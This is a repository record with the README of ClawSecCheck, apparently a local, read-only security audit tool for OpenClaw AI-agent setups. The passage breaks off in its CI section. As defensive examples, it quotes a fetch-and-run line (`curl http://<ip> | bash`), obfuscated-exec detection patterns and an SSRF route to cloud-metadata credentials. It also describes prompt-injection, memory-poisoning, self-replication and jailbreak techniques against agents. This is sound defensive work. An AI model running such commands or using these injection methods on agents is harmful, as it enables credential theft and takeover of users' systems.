{"id":51290600,"url":"https://github.com/gl0di/clawseccheck","last_synced_at":"2026-06-30T10:00:18.163Z","repository":{"id":365979926,"uuid":"1274194803","full_name":"gl0di/clawseccheck","owner":"gl0di","description":"🔍 Free, local, read-only security self-audit for your own OpenClaw AI-agent setup. Scores it A–F, surfaces the urgent holes, emits copy-paste fixes. Zero deps, no network, no API key — your data never leaves your machine.","archived":false,"fork":false,"pushed_at":"2026-06-27T07:40:50.000Z","size":4049,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-06-27T09:17:31.574Z","etag":null,"topics":["agent-security","ai-agents","ai-security","cli","lethal-trifecta","llm-security","mcp","openclaw","owasp","prompt-injection","python","read-only","security-audit","self-audit","supply-chain-security"],"latest_commit_sha":null,"homepage":"https://clawhub.ai/gl0di/clawseccheck","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gl0di.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":"audit.py","citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-06-19T09:12:03.000Z","updated_at":"2026-06-27T07:34:53.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/gl0di/clawseccheck","commit_stats":null,"previous_names":["gl0di/clawcheck","gl0di/clawseccheck"],"tags_count":22,"template":false,"template_full_name":null,"purl":"pkg:github/gl0di/clawseccheck","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gl0di%2Fclawseccheck","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gl0di%2Fclawseccheck/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gl0di%2Fclawseccheck/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gl0di%2Fclawseccheck/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gl0di","download_url":"https://codeload.github.com/gl0di/clawseccheck/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gl0di%2Fclawseccheck/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34961549,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-30T02:00:05.919Z","response_time":92,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent-security","ai-agents","ai-security","cli","lethal-trifecta","llm-security","mcp","openclaw","owasp","prompt-injection","python","read-only","security-audit","self-audit","supply-chain-security"],"created_at":"2026-06-30T10:00:16.793Z","updated_at":"2026-06-30T10:00:18.090Z","avatar_url":"https://github.com/gl0di.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://readme-typing-svg.demolab.com?font=Fira+Code\u0026weight=700\u0026size=32\u0026duration=3000\u0026pause=900\u0026color=E34234\u0026center=true\u0026vCenter=true\u0026width=660\u0026lines=ClawSecCheck+%F0%9F%A6%9E;OpenClaw+Security+Self-Audit;Free.+Local.+Read-only.;Score+Your+Agent+A%E2%80%93F\" alt=\"ClawSecCheck\" /\u003e\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003cb\u003e🦞 A free, local, read-only security self-audit for your own OpenClaw agent.\u003c/b\u003e\u003cbr\u003e\n  \u003csub\u003e\u003ci\u003eThe claw that checks your claws — scores you A–F, finds the holes, hands you copy-paste fixes.\u003c/i\u003e\u003c/sub\u003e\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"https://github.com/gl0di/clawseccheck/releases\"\u003e\u003cimg src=\"https://img.shields.io/github/v/tag/gl0di/clawseccheck?label=version\u0026color=E34234\u0026labelColor=2b2b2b\" alt=\"version\"\u003e\u003c/a\u003e\n  \u003ca href=\"https://clawhub.ai/gl0di/clawseccheck\"\u003e\u003cimg src=\"https://img.shields.io/badge/ClawHub-clawseccheck-FF6B47?labelColor=2b2b2b\" alt=\"ClawHub\"\u003e\u003c/a\u003e\n  \u003cimg src=\"https://img.shields.io/badge/python-3.9%2B-E8A33D?labelColor=2b2b2b\" alt=\"Python 3.9+\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/dependencies-zero-C1272D?labelColor=2b2b2b\" alt=\"Zero dependencies\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/network-none-8B0000?labelColor=2b2b2b\" alt=\"No network\"\u003e\n  \u003ca href=\"LICENSE\"\u003e\u003cimg src=\"https://img.shields.io/badge/License-MIT-E34234?labelColor=2b2b2b\" alt=\"License: MIT\"\u003e\u003c/a\u003e\n  \u003ca href=\"https://github.com/gl0di/clawseccheck/stargazers\"\u003e\u003cimg src=\"https://img.shields.io/github/stars/gl0di/clawseccheck.svg?style=social\" alt=\"GitHub stars\"\u003e\u003c/a\u003e\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003cb\u003e🦞 Free\u0026nbsp;·\u0026nbsp;🔒 Local\u0026nbsp;·\u0026nbsp;👀 Read-only\u0026nbsp;·\u0026nbsp;🚫 No API key\u0026nbsp;·\u0026nbsp;🏠 Your data never leaves your machine\u003c/b\u003e\n\u003c/p\u003e\n\n---\n\nA one-command security self-audit for *your own* OpenClaw agent. It scores your setup\n**A–F**, surfaces the most urgent holes in plain language, and gives copy-paste fixes —\nplus a **shareable grade badge**.\n\nBecause you run it on your own agent, there's no \"scanning someone else\" problem: no\nproof-of-ownership, no legal grey area.\n\n---\n\n## 🔒 Local, read-only, and honest about its limits\n\nClawSecCheck runs **locally and read-only** — no network calls, no telemetry, nothing\nleaves your machine. It's a heuristic audit, so it's upfront about what it does and\ndoesn't check:\n\n**Honest limits (we never hide these behind a green score):**\n\n- **Static analysis, not runtime-verified.** Findings describe your *configuration*, not a\n  live exploit. Results are labelled accordingly.\n- **`UNKNOWN` ≠ `PASS`.** If a file can't be read, the config can't be parsed, or a state\n  can't be determined, it's reported as `UNKNOWN` and excluded from the score — never\n  silently marked safe.\n- **Some deep checks are planned, not shipped yet:** a dirty-input action-gate and taint-tracking\n  layer (B27–B28) is on the roadmap, and the shipped B33 version gate is seeded with a small set of\n  grounded advisories — its table grows as new ones are verified, not an exhaustive CVE database yet.\n- **Vetting the scanner itself** (`--vet` pointed at ClawSecCheck's own source) reports\n  *safe with a note* — a security tool necessarily ships attack signatures as data.\n\n**Found a false positive/negative or something confusing?** Open an issue at\n\u003chttps://github.com/gl0di/clawseccheck/issues\u003e with the output of `clawseccheck --json`\n(it redacts secret *values* — only key names/paths appear) and your OpenClaw version. Do\nnot paste raw secrets.\n\n---\n\n## ⚠️ Important — trust no one (including this skill)\n\nOpenClaw skills are **not sandboxed**: an installed skill runs with your agent's full\npermissions. The ClawHavoc campaign poisoned ClawHub with **hundreds of malicious skills**\nthat steal credentials and crypto wallets — a single line of markdown can hide a\n`curl http://\u003cip\u003e | bash`.\n\nSo, before you download, install, or use **any** skill (this one included):\n\n1. **Read the source** — it's plain text. If you can't see what it does, don't run it.\n2. **Have your agent analyse it for you** — ask OpenClaw to review the skill's `SKILL.md`\n   and scripts for shell-exec, credential access, paste-host uploads, and obfuscated\n   (base64) payloads *before* enabling it. ClawSecCheck does this with `--vet \u003cskill\u003e`.\n3. **Pin a known release**, prefer signed / VirusTotal-clean skills, and rotate any secret a\n   skill could have reached if you ever suspect it.\n\nClawSecCheck practises this: it is open source, zero-dependency, read-only, and its **B13** check\ndoes exactly this vetting on the skills you've *already* installed. Trust is earned by being\nreadable — so read it.\n\n---\n\n## 🤔 Why another audit tool?\n\nThe built-in `openclaw security audit` and tools like Trent/ClawSec are good — but:\n\n- The native audit **does not inspect the content of your bootstrap files**\n  (`SOUL.md`, `AGENTS.md`, `TOOLS.md`): they're injected into the system prompt as *trusted\n  context* with no validation. ClawSecCheck **does** check them for prompt-injection-prone\n  directives (our check **B6**).\n- ClawSecCheck is **100% local** — no API key, nothing transmitted (Trent uploads your config;\n  the native one is CLI-only).\n- It leads with a **shareable Score + Grade + Lethal Trifecta ratio** you can post to the\n  community — without ever exposing your actual findings.\n\n---\n\n## 🔬 What it checks\n\n- **Lethal Trifecta** (untrusted input × sensitive data × outbound actions — keep ≤2 of 3)\n- Gateway exposure \u0026 channel auth, plaintext secrets, least privilege, execution sandbox,\n  plugin/skill supply-chain integrity, bootstrap-file injection surface, memory poisoning,\n  human approval, secret-leak/redaction, TLS, local-first/model hygiene.\n- **B13 — installed-skill / plugin vetting:** scans the *content* of skills you downloaded\n  (not made yourself) for the ClawHavoc malware class, including base64-hidden payloads. As of\n  v0.21 it also runs a static **Python AST** pass (stdlib `ast`, parse-only — never executed) that\n  catches obfuscation regex misses — `exec(base64.b64decode(...))`, `getattr(os,\"sys\"+\"tem\")(...)`,\n  `__import__(\"os\").system(...)` — plus prompt-injection / hide-from-user directives embedded in a\n  third-party skill's prose, and (v0.23) a **taint trace** that flags a credential **file's** contents\n  (`~/.ssh/id_*`, `.aws/credentials`, keychain, wallet, …) flowing into a network sink (\"read a secret\n  file → send it out\"). Sources are credential files only, not env vars, so the legit \"read\n  `OPENAI_API_KEY`, send as auth header\" pattern is never flagged. (AST is Python-only; JS/shell stay\n  on the regex engine.)\n- Per-check reference: [`docs/CHECKS.md`](docs/CHECKS.md) for the generated catalog of checks,\n  verdict semantics, remediation, and compound risk chains.\n- **B14 — egress surface:** where the agent can reach out (channels, external skills, tools).\n- **B15 — MCP server trust** boundaries.\n- **B16 — threat monitoring:** whether you actually have monitoring/detection set up at all.\n- **B17 — autonomy / heartbeat:** whether the agent acts on its own and could be steered by untrusted input.\n- **B18 — subagent delegation:** whether spawned subagents can wield elevated/exec tools without approval.\n- **B45 — per-agent privilege separation (attestation):** A1 flattens the whole setup into one\n  capability surface; B45 reads the attested agent roster (`--attest`, `agents: [{name, tools}]`) and\n  checks whether any *single* agent holds all three trifecta legs by itself. OpenClaw config has no\n  per-agent tool allowlist, so this needs the self-report — `UNKNOWN` without it, advisory (`ATTESTED`,\n  unscored). PASS means \"no single agent is the full trifecta\" — a necessary condition, **not** a\n  guarantee: runtime data-flow and the delegation graph are out of scope.\n- **B46 — multi-agent trifecta exposure:** config-only nudge — spawnable subagents **plus** the global\n  trifecta **plus** no exec approval gate. Capped at WARN (never a new FAIL).\n- **B47 — cross-agent trifecta reassembly (attestation):** even when no single agent is the trifecta,\n  it can reassemble across delegation (a *confused deputy*): an untrusted-input agent that can drive a\n  sensitive-data agent and an outbound agent. Reads the attested `delegation: [{from, to, returns}]`\n  graph; the `returns` tier decides exploitability — a `schema` (typed) return is a **wall** that\n  blocks the channel (PASS, with a not-runtime-verified caveat), while `raw`/`filtered`/`unknown`\n  carries it (WARN). UNKNOWN without `--attest`. `RISK-11` narrates the chain. Runtime data-flow stays\n  out of static scope.\n- **B19 — data at-rest:** group/world-readable memory/log directories (conversation data / PII exposure).\n- **B20–B24 — agent behavior:** write-protection of identity/memory files, tool-output trust boundary,\n  self-modification risk, approval-bypass directives, and deep MCP-server hardening.\n- **B30 — sender identity strength:** flags `channels.\u003cprovider\u003e.dangerouslyAllowNameMatching`\n  (allowlist keyed on mutable display name — trivially bypassed by renaming) and\n  `channels.telegram.includeGroupHistoryContext=\"recent\"` (untrusted group history injected as context).\n- **B32 — control-plane mutation reachability:** flags control-plane tools (`cron`, `config.apply`,\n  `update.run`, `sessions_spawn`, `sessions_send`, `gateway`) exposed via `gateway.tools.allow`\n  over the HTTP gateway — full agent takeover without further escalation.\n- **B38 — browser / SSRF exposure:** flags `browser.ssrfPolicy.dangerouslyAllowPrivateNetwork`\n  (cloud-metadata IP access / credential theft via 169.254.169.254) and `browser.noSandbox`\n  (headless browser without OS isolation); warns when no `hostnameAllowlist` limits egress.\n- **B48 — dangerous break-glass overrides:** a grounded registry of OpenClaw's `dangerously*` /\n  `allowUnsafe*` toggles that are documented \"keep disabled.\" **FAIL** when a sandbox-escape\n  (`sandbox.docker.dangerouslyAllow{ContainerNamespaceJoin,ExternalBindSources,ReservedContainerTargets}`)\n  or control-plane auth-bypass (`gateway.controlUi.dangerouslyDisableDeviceAuth`) flag is active;\n  **WARN** for the rest (webhook signature disable, host-header origin fallback, external embeds,\n  real-IP fallback, `allowUnsafeExternalContent`, per-channel/plugin private-network access, extra\n  node commands). Default/absent = clean PASS (zero false positives on a stock config).\n- **B39 — session visibility / cross-user transcript leak:** flags `session.dmScope=\"main\"`\n  (all DM peers share one session — cross-user contamination) and `tools.sessions.visibility`\n  of `\"agent\"` or `\"all\"` (cross-session transcript reads).\n- **B26 — untrusted-context exposure:** flags `channels.\u003cprovider\u003e.contextVisibility=\"all\"` (the\n  OpenClaw default), where quoted/thread/history text from non-allowlisted senders is injected into\n  the model as context — a prompt-injection surface; recommends `allowlist`/`allowlist_quote`.\n- **B33 — known-vulnerable version gate:** compares `meta.lastTouchedVersion` against a maintained\n  OpenClaw advisory table (seeded with GHSA-g8p2-7wf7-98mq, fixed `2026.1.29`); unknown versions are\n  `UNKNOWN`, never `PASS`.\n- **B41 — credential blast-radius:** inventories the credential surface (`auth.profiles.*`,\n  gateway token) reachable by the agent and warns when it co-exists with untrusted ingress + outbound\n  tools. Reports only provider names + counts — never the account/email or token value.\n- **B31 — effective-tools bypass:** detects the OpenClaw footgun where `tools.deny: [\"write\"]` does\n  not deny `apply_patch`/`exec` — a believed-safe restriction that still allows file mutation; checks\n  global, `toolsBySender`, and per-agent deny lists. Recommends `group:fs` or a complete deny list.\n- **B42 — skill/plugin install-time policy:** install-time supply-chain risk that isn't malware\n  per se — `package.json` `pre/postinstall` hooks that run code on install **and every auto-update**\n  (unsandboxed, with the agent's permissions), and **world-writable skill directories** (any local\n  user could drop a skill the agent loads). WARN-max, never FAIL; complements B25 (pinning) and B13\n  (content).\n- **B50–B54 — Host Watch Posture:** widens the lens past the agent to the *machine it runs on* —\n  is anyone watching it? Read-only, filesystem-only detection (no subprocess, no network) of host\n  defensive monitors: **B50** network monitoring / IDS (Suricata, Zeek, Snort, Little Snitch,\n  Sysmon), **B51** host audit / syscall logging (auditd, OpenBSM, Sysmon), **B52** file-integrity\n  monitoring (AIDE, Tripwire, osquery), **B53** endpoint protection / EDR (Wazuh, CrowdStrike,\n  ClamAV, Defender, Santa), **B54** host firewall (ufw, firewalld, nftables, macOS ALF, Windows\n  Firewall). LOW severity, **never FAIL**: a missing monitor is a WARN only when the agent is\n  high-privilege, otherwise PASS; anything not determinable read-only is `UNKNOWN`. Where it can be\n  read without running a command, it distinguishes *enabled* from merely *installed*.\n- **B55 — filesystem-write tool exposure:** advisory warning when broad write-capability (`fs_write`,\n  `apply_patch`) is granted without enough scoping controls.\n- **B56 — dangerous Control-UI cross-origin policy:** flags `allowedOrigins: [\"*\"]` in control UI config.\n- **B57 — plugin auto-approve:** flags `permissionMode: \"approve-all\"`, which bypasses explicit\n  per-action confirmation in plugin execution.\n- **B58 — Unicode-obfuscated injection / hidden-text evasion:** detects Unicode confusables, zero-width and\n  bidi controls used to hide injection directives.\n- **B59 — markdown-image / anchor data-exfil signals:** flags remote markdown image/anchor URLs with data-bearing\n  query params that can leak context.\n- **B60 — prompt self-replication / propagation directives:** catches prompt-level instructions that try\n  to make injected content propagate itself.\n- **B61 — cross-agent config snooping / credential theft:** flags cross-agent access to foreign agent\n  identity/config paths combined with extraction capabilities.\n- **B62 — capability–intent mismatch:** detects large drift between SKILL.md declared purpose and actual\n  observed behavior from static and effect profiling.\n- **B63–B66 — instruction hardening checks:** hidden directive / hierarchy override / sleeper trigger /\n  persona-role jailbreak coverage.\n- **C6 — hook-composition policy drop (legacy):** advisory `UNKNOWN` for pre-v2026.6.10 hook chains where\n  policy drop order can behave unexpectedly.\n- **B43 / B44 — capability blast-radius (attestation layer):** the static scan reads config files\n  only; it cannot see the agent's *real tool/verb inventory* — config lists tool *names* as opaque\n  strings. The attestation layer closes that: `--ask` emits a template the running agent fills with\n  its own ground truth, and `--attest \u003cfile\u003e` feeds it back. **B43** classifies the held verbs by\n  blast radius — `EXEC` (bash/shell/exec — the broadest: subsumes egress+destruction),\n  `MAILBOX_CONFIG` (auto-forward/filter/delegation — a persistent silent channel),\n  `DESTRUCTIVE` (delete-forever/purge), `EGRESS` (send/forward/post), `REVERSIBLE`\n  (search/get/draft/label). A reversible-only toolset *passes* (forward-exfil and delete-evidence\n  are physically impossible); a high-blast verb that can fire without approval *fails*. **B44**\n  cross-checks the self-report against the config `tools.allow` and flags a high-blast verb the\n  config grants but the agent omitted (drift / blind spot / masking). Both at `ATTESTED` confidence —\n  a self-report is weaker evidence than a config fact, so they are advisory and never override one.\n  Read-only and introspective: the agent reports what it holds, it never *exercises* a verb to test it.\n  The attestation `paths` block additionally lets the agent point B20/C5 at where its identity/memory\n  files and OpenClaw install really live — discovery only: the agent supplies *where*, the engine still\n  `stat()`s the path itself, so those permission findings keep full file-stat strength (not `ATTESTED`).\n- **B20 / C5 — at-rest write protection:** B20 flags group/world-writable bootstrap/identity/memory\n  files (`SOUL.md`/`AGENTS.md`/`TOOLS.md`/`MEMORY.md`) in the home root **and** the workspace dirs;\n  C5 flags a group/world-writable openclaw binary dir, its install-tree ancestors (e.g. the npm\n  package root — a binary-replacement vector), and writable PATH dirs before it. Sticky dirs like\n  `/tmp` are exempt (the sticky bit blocks cross-owner replacement).\n- Plus your platform's own **`openclaw security audit`**, run for you and merged in.\n\n**Mapped to OWASP.** Each check is tagged with its **OWASP Top 10 for LLM Applications (2025)**\ncategory (surfaced per finding in `--json` as `\"owasp\": [...]`), and the checks are mapped to the\nagent-specific **OWASP Agentic (ASI)** threat classes — tool misuse, multi-agent identity/privilege\nabuse, insecure inter-agent communication, cascading blast-radius — that an app-code reviewer never\nsees. Full matrix in [`docs/THREAT_COVERAGE.md`](docs/THREAT_COVERAGE.md).\n\n---\n\n## 🧩 Built-in audit, included for you\n\nNon-technical users will never open a terminal to run OpenClaw's own\n`openclaw security audit`. So ClawSecCheck runs it **for you** (read-only) and folds its\nfindings into the same plain-language report — one button shows both ClawSecCheck's checks\n*and* the platform's own audit. Native findings are shown but are **not** mixed into the\nClawSecCheck score (kept deterministic). Disable with `--no-native`.\n\n---\n\n## 🛡️ Trust / provenance\n\nClawSecCheck is **open source and zero-dependency (Python stdlib only)**. Its own checks are\n**read-only and offline** — they make **no network calls** and never touch your OpenClaw config.\n**Nothing ever leaves your machine.** Full read scope:\n\n- `~/.openclaw/openclaw.json` and workspace bootstrap files (`SOUL.md`, `AGENTS.md`, etc.)\n- text of installed skills/plugins (Python files are AST-parsed, never executed)\n- `~/.openclaw/logs/config-audit.jsonl` and `config-health.json` (B77/B78 log checks)\n- `~/.openclaw/agents/.../sessions/*.jsonl` (B79 approval-policy posture)\n- host OS path-existence checks for IDS/FIM/EDR/firewall config (B50–B54)\n- credential-store path-existence inventory: whether `.env`, SSH key dirs, keychain/keyring\n  directories, and browser cookie stores **exist** near the agent home — contents never read The only thing it writes by default is a one-line\nentry to a **private, owner-only** local score history (`~/.clawseccheck/history.jsonl`) so you can\ntrack your grade over time — opt out with `--no-history`. Everything else is written only when you\nask: a report file (`--save`), the `--monitor` snapshot and change journal\n(`~/.clawseccheck/state.json`, `events.jsonl`), a badge (`--badge`), HTML/SARIF (`--html`/`--sarif`),\na log (`--log`), and a small freshness ledger (`~/.clawseccheck/coverage.json`) recording when you\nlast ran an active self-test (`--canary`/`--redteam`/`--dryrun`/`--self-test`/`--vet-mcp`).\n\nThe **only** external command it can run is your own, fixed and read-only:\n\n```text\nopenclaw security audit --json\n```\n\nNo shell, never `--fix`, with a timeout; skip it entirely with `--no-native`. The entire\nsource is in [`clawseccheck/`](clawseccheck/) — read it before you trust it. Amid the ClawHavoc\nmalicious-skill wave, an audit skill should prove its own safety; this one does.\n\n---\n\n## 🚀 Install \u0026 run\n\n```bash\nopenclaw skills install clawseccheck            # from ClawHub (the slug is unique)\nopenclaw skills install git:gl0di/clawseccheck  # or straight from GitHub\n# then ask your agent: \"audit my OpenClaw setup with clawseccheck\"\n```\n\nSkill page on ClawHub: **\u003chttps://clawhub.ai/gl0di/clawseccheck\u003e**.\n\nOr install it as a standalone CLI (zero dependencies):\n\n```bash\npipx install git+https://github.com/gl0di/clawseccheck   # or: pip install .\nclawseccheck --home ~/.openclaw                            # then just `clawseccheck`\npython -m clawseccheck                                     # also works\n```\n\nOr run the bundled script directly (Linux/macOS):\n\n```bash\npython3 audit.py                 # human report + shareable card\npython3 audit.py --json          # machine-readable\npython3 audit.py --card          # just the badge\npython3 audit.py --ascii         # plain output (no unicode icons/box)\npython3 audit.py --home ~/.openclaw\n```\n\nOn **Windows** use `python` (or `py`); the script auto-detects consoles that can't render\nunicode and falls back to ASCII, or force it with `--ascii`:\n\n```bat\npython audit.py\npy audit.py --card --ascii\n```\n\nCross-platform: pure Python stdlib, pathlib-based paths, POSIX file-permission checks are\nskipped on Windows (NTFS uses ACLs), and all output has an ASCII fallback.\n\n---\n\n## 🦞 The OpenClaw ecosystem\n\nClawSecCheck is one skill in a fast-growing OpenClaw ecosystem — and that growth is exactly\nwhy a local, read-only vetting tool exists. Browse more, but **vet before you trust**:\n\n| | Resource | What it is |\n|---|---|---|\n| 🦞 | **[ClawHub — clawseccheck](https://clawhub.ai/gl0di/clawseccheck)** | This skill's page — install, current version, changelog |\n| 📚 | [awesome-openclaw-skills](https://github.com/VoltAgent/awesome-openclaw-skills) | 5,300+ community skills, organized by category |\n| 🤖 | [awesome-openclaw-agents](https://github.com/mergisi/awesome-openclaw-agents) | Agent templates, real-world use cases \u0026 integrations |\n| 🛡️ | [OpenClaw gateway security docs](https://docs.openclaw.ai/gateway/security) | The platform's own hardening guide |\n\n\u003e 🦞 **Before installing anything from these lists** (this skill included): read the source,\n\u003e vet it — `clawseccheck --vet \u003cpath\u003e` — and pin a known release. The ClawHavoc wave proved\n\u003e that *\"popular on a list\"* is not the same as *\"safe to run.\"*\n\n---\n\n## 🔄 Updating\n\nOpenClaw remembers where a skill came from, so users get your new versions by updating:\n\n```bash\nopenclaw skills update clawseccheck   # pull the latest from its source (Git/ClawHub)\nclawhub update --all                  # update every installed skill\n```\n\n(Or re-run the install command.) An auto-updater skill / `update.auto.enabled` in\n`~/.openclaw/openclaw.json` can update on a schedule. Because skills run with the agent's full\npermissions, a malicious *update* is a real supply-chain risk — so each release here is tagged\nand the source is public to read **before** updating. Prefer reviewing/pinning a tag over blind\nauto-update for anything security-sensitive.\n\n\u003e **First call after an update looks empty?** Some OpenClaw versions reload a freshly-updated\n\u003e skill lazily, so the *first* invocation right after an update can return nothing; just run it\n\u003e again. This is an OpenClaw skill-reload timing artifact on the runtime side, not the audit —\n\u003e confirm the engine is live with `clawseccheck --verify-self`.\n\n**Staleness reminder (offline).** A stale security scanner is itself a risk, so the default report\nmay print a one-line \"your build may be out of date\" notice. It is **100% offline** — it reads only\nthe local clock against the baked-in build date, plus an optional local hint file\n`~/.clawseccheck/latest.json` that your distribution layer or agent may write. ClawSecCheck **never\nchecks for its own updates over the network** (that would break its zero-network promise and it\nwould have to flag itself). The actual \"is there a newer version?\" lookup belongs to your package\ntooling or your agent — see SKILL.md \"Keeping ClawSecCheck current\". Silence the notice with\n`--no-update-notice` or `CLAWSECCHECK_NO_UPDATE_NOTICE=1`; after any update, verify the engine with\n`--verify-self`.\n\n---\n\n## 🧭 Guided mode\n\nWhen you run ClawSecCheck inside OpenClaw, the agent walks you through the entire audit\nconversationally — you never need to know a flag. After every default run, ClawSecCheck prints a\nshort **\"What you can do next\"** block: a prioritised list of the most relevant follow-up steps\nfor *your* findings, with the exact command to run each one.\n\nThe same list is available two other ways:\n\n```bash\npython3 audit.py --next          # print the next-steps block only (after running the audit)\npython3 audit.py --json          # includes a \"next_actions\" array in the JSON envelope\n```\n\nThe recommendations are driven by your actual results — open FAIL findings surface `--prompts`\nfirst; unvetted third-party skills surface `--vet`; no monitoring detected surfaces `--monitor`;\nand so on. When there is nothing urgent, the block tells you so and suggests the lighter follow-ups\n(trend tracking, grade sharing).\n\n**ClawSecCheck never applies a fix or changes your config.** For every open finding, `--prompts`\ngives you a ready copy-paste prompt to hand to your agent (or apply yourself); the change is\nyours to make. Everything stays local.\n\n**`--fix` — paste-ready remediation.** Prints the exact, copy-paste fixes for your current\nFAIL/WARN findings: safe shell commands (e.g. `chmod 600 ~/.openclaw/openclaw.json`) and\nconfig guidance (`set tools.exec.mode → \"ask\"`). It is **output only** — ClawSecCheck does not\napply anything; you review and run it. Config fixes are given as *set this dotted path to this\nvalue* guidance (so you edit your own `openclaw.json`), never a paste-over JSON blob that could\nclobber your other keys. Also surfaced per finding in `--json` (`\"remediation\"`) and SARIF (`fixes`).\n\n---\n\n## 📋 How you get the report\n\nWhen you run the skill inside OpenClaw, the agent executes `audit.py`, captures its output,\nand shows it to you **right there in the chat** — no terminal, no setup. You see:\n\n1. your **Score / Grade / Lethal Trifecta** ratio,\n2. the **fix list, most urgent first**, in plain language, and\n3. a **shareable card** — grade + score + Lethal Trifecta ratio, safe to post (the findings stay\n   private; `--badge` writes the same grade + score as an SVG).\n\nTo keep a copy, add `--save report.txt` and ClawSecCheck writes the full report to that file\n(written only when you ask). For automation, `--json` gives a machine-readable result.\n\n---\n\n## 📡 Threat monitoring\n\nTwo complementary things:\n\n**B16 — do you have monitoring at all?** ClawSecCheck checks whether you have threat\nmonitoring/detection set up — an agent with none won't alert you if it's compromised. B16 looks\nfor a monitoring skill/plugin (ClawSec, `openclaw-security-monitor`, …) or monitoring/alerts\nconfig; if none is found it warns you and tells you how to add one.\n\n**`--monitor` — Agent Watch.** One way to *get* monitoring: re-audit on a schedule and alert,\n**by severity**, on what **changed** — a new or modified installed skill, `SOUL.md` drift, a dropped\nscore, a check going PASS → FAIL, **a newly connected MCP server, a new channel, the gateway becoming\nnetwork-exposed, or a host monitor disappearing**. Each run appends the changes to a private local\njournal (`~/.clawseccheck/events.jsonl`, owner-only, never uploaded); view the timeline with\n`--watch-log`. (Drift detection is upgrade-safe: an older snapshot never produces spurious\n\"new connection\" alerts.)\n\n```bash\npython3 audit.py --monitor                 # first run = baseline, then alerts on changes\npython3 audit.py --monitor --state ~/.clawseccheck/state.json\n```\n\nSchedule it via OpenClaw's heartbeat or cron; when an alert fires, have your agent message you.\nIt stores one small snapshot at `~/.clawseccheck/state.json`. (Scheduled re-audit + drift\ndetection — not a real-time runtime IDS; that heavier model is intentionally out of scope.)\n\n---\n\n## ⛓️ Highest-risk paths\n\nBeyond individual checks, ClawSecCheck runs a **risk engine** that looks for dangerous\n*combinations* — capability chains where two or more co-occurring properties make a\ncompromise catastrophic or trivial to execute.\n\nThe highest-risk chains it detects now span **RISK-01 through RISK-16**:\n\n| ID | Severity | Chain |\n|----|----------|-------|\n| RISK-01 | CRITICAL | Untrusted sender (open DM/group) → exec/write/elevated tool → host/filesystem |\n| RISK-02 | HIGH | Untrusted input → sensitive data reachable → outbound/exec (Lethal Trifecta) |\n| RISK-03 | HIGH | Untrusted ingress + no execution sandbox → exec/write directly on host |\n| RISK-04 | HIGH | Mutable agent identity (name-matching) → elevated/exec tools → privilege escalation |\n| RISK-05 | HIGH | Browser SSRF to private network → secrets/credentials → exfiltration |\n| RISK-06 | CRITICAL | Open/untrusted surface → control-plane endpoint → full agent takeover |\n| RISK-07 | HIGH | Exec/write tool (no approval gate) → writable bootstrap/identity files → persistent compromise |\n| RISK-08 | MEDIUM | Multi-user channel → shared session (`dmScope=\"main\"`) → cross-user data leak |\n| RISK-09 | CRITICAL | Malicious installed skill (B13 fail) → reachable secrets/data → outbound egress → exfiltration |\n| RISK-10 | MEDIUM | Untrusted input → agent can exec/write on host → no host detection (IDS/audit/FIM/EDR) → a breach would be invisible |\n| RISK-11 | HIGH | Cross-agent trifecta reassembly (confused deputy): untrusted-input agent → drives a sensitive-data agent → drives an outbound agent across non-wall delegation edges |\n| RISK-12 | HIGH | Untrusted input + broad/unscoped write capability (B55) → filesystem tamper/persistence |\n| RISK-14 | HIGH | Wildcard-elevated sender + heartbeat → self-escalating autonomy loop |\n| RISK-15 | HIGH | Untrusted context + browser SSRF to private network → metadata/credential exfiltration |\n| RISK-16 | HIGH | RW workspace + host bind + plaintext gateway credential path → control-plane takeover |\n\nEach chain fires **only when every link has positive evidence** — no chain is invented from\nabsent or UNKNOWN data, so findings are evidence-gated, which keeps false positives low —\nbut this is a heuristic audit, not a guarantee; manual review is still required. The risk\nengine does not change the deterministic A–F score; it surfaces separately so you can see\nthe worst-case paths at a glance without score inflation.\n\n```bash\npython3 audit.py --risk-paths       # print the highest-risk chains section only\npython3 audit.py --json             # includes a \"risk_paths\" array in the JSON envelope\n```\n\nThe `--risk-paths` output is also appended to the default report when any chain fires.\n\n---\n\n## ⚙️ CI / automation\n\n```bash\npython3 